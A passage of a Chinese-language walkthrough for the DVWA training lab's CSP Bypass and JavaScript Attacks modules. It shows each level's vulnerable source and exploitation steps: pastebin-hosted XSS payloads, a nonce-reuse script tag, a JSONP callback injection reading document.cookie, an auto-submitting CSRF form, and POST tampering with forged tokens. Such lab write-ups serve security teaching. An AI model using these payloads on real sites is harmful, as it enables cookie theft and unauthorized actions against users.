messagename 变量都进行了严格的过滤,且还检测了用户的 token,有效的防止了 CSRF 的攻击。

CSP Bypass (Content Security Policy Bypass,内容安全策略绕过)

CSP 是一种白名单制度,实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性,攻击者发现漏洞,也没法注入脚本,除非控制了一台例如了白名单的可信主机。

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

白名单:

1
2
3
4
5
self
https://pastebin.com
example.com
code.jquer.com
https://ssl.google-analytics.com

pastebin.com 是一个快速分享文本内容的网站,内容可控,可以在里面插入 XSS 攻击语句 alert(document.cookie)

漏洞利用

http://pastebin.com' 中创建内容为 alert('XSS'); 的分享,生成 https://pastebin.com/FY6tnzuS ,通过 https://pastebin.com/raw/FY6tnzuS 可访问内容。

在文本框中输入 https://pastebin.com/raw/FY6tnzuS 点击 include 即可将文件包含进去,从而触发 XSS。通过查看浏览器源代码可发现被嵌入了 XSS : <script src='https://pastebin.com/raw/FY6tnzuS'></script>

可配合 CSRF 使攻击自动化,创建 csrf.html 放到网站服务器上,设法让受害者访问就会触发。

1
2
3
4
5
6
7
8
<form method="POST" action="http://dvwa.local/vulnerabilities/csp/" id="csp">
<input type="text" name="include" value="">
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/FY6tnzuS";
form.submit();
</script>

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

script-src 的合法来源发生了变化:

  • unsafe-inline: 允许执行页面内嵌的 <script> 标签和事件监听函数
  • unsafe-eval: 允许将字符串当作代码执行,如 evalsetTimeoutsetIntervalFunction等函数
  • nonce: 每次 HTTP 回应给出一个授权 token,页面内嵌脚本必须有这个 token ,才会执行
  • hash: 列出允许执行的脚本代码的 Hash 值,页面内嵌脚本的哈希值只有吻合才执行。

使用了 unsafe-inlinenonce 所以页面内嵌脚本必须要有 token 才能被执行

漏洞利用

直接输入:

1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

source/high.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

CSP 规则十分苛刻,只能引用允许 self 的脚本执行, self 是指本页面加载的脚本,也就是 source/high.js 这个脚本。

页面提示调用 ../. // vulnerability /csp/source/jsonp.php 来加载一些代码。
审查元素关键代码在<input type="button" id="solve" value="Solve the sum" /> >> id="solve" 对应的代码在 JS 中 >> 触发 JS 中的 clickButton 函数,该函数会创建一个 script 标签 <script src="http://dvwa.local/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script> >> 访问 http://dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum 得到 solveSum({"answer":"15"}) >> 最后会调用 JS 的 solveSum 函数将结果输出到网页中。 >> 暴露的callback 参数未做过滤,完全可做操作,可直接构造 jsonp.php?callback=alert(document.cookie) 若此构造被执行就能触发弹框。

漏洞利用

由于 POST 提交的 include 参数直接放到了 body 源码中,可直接改 indlude 进行弹框,使用 hackbar 修改 Post data 即可弹出。

1
include=<script src=source/jsonp.php?callback=alert(document.cookie)></script>

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';
source/impossible.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}

指定只能输出 solveSum 意味着只能回调 JS 里的 solveSum 函数

JavaScript (JavaScript Attacks,JS 攻击)

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();
</script>
EOF;
?>

主要生成了一个 token 通过 JS 在浏览器端生成, 由 md5(rot13(phrase))

漏洞利用

直接在浏览器控制台(Console) 调用函数计算出 token 值, md5(rot13(success)); >> 38581812b435834ebf84ebcc2c6424d6 >> 使用 Hackbar 修改 Post data :token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit >> Well done!

Medium

源码

1
2
3
4
5
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/medium.js"></script>
EOF;
?>
/vulnerabilities/javascript/source/medium.js
1
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}

通过源码可知 phrase 逆序输出,然后在前后分别添加 XX 作为规律 >> 默认的 ChangeMe 的 token : <input type="hidden" name="token" value="XXeMegnahCXX" id="token"> >> success 的 token 应该是 XXsseccusXX

漏洞利用

利用 hackbar 修改 Post data: token=XXsseccusXX&phrase=success&send=Submit

High

源码

1
2
3
4
5
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>
1
2
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return 